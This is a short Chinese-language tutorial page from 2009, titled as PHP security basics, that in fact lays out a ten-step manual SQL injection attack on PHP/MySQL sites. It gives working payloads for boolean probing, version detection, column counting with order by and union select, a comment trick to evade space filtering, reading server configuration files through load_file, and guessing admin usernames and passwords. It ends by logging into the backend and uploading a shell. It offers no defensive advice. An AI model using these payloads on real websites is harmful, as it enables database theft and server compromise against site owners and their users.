当前位置: 首页 > 图文教程 > 网络编程 > PHP > PHP程序安全基础:手工php注入总结

PHP
PHP实例教程:网页登陆验证码
PHP教程:研究批量删除数据的方法
PHP教程:PHP函数简单中文说明
PHP教程:几段值得初学者研究的PHP代码段
PHP端口扫描器
Apache负载均衡设置方法: mod_proxy
PHP教程:PHP代码中的名称空间
PHP实例教程(1):构建基于PHP的微博客服务
PHP实例教程(4):构建基于PHP的微博客服务
PHP教程:PHP框架论述
PHP教程:Magic quotes
PHP实例教程:天气预报小偷PHP代码
PHP实例说明编写PHP代码的5个好习惯
PHP教程:网站开发编程中的特殊符号处理
PHP教程:php调用fckeditor函数
Apache安装配置和虚拟主机配置教程
PHP5安装配置和Zend Optimizer安装教程
.htaccess文件设置技巧16则
Apache的Rewrite和404错误页面
有关数据检索的更多内容

PHP程序安全基础:手工php注入总结


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-08-14   浏览: 165 ::
收藏到网摘: n/a

1.判断是否存在注入,加';and 1=1;and 1=2

2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询

3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10

4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。

5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。

6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。

7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。

8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。

9.同理再猜解password字段,猜解成功再找后台登录。

10.登录后台,上传shell。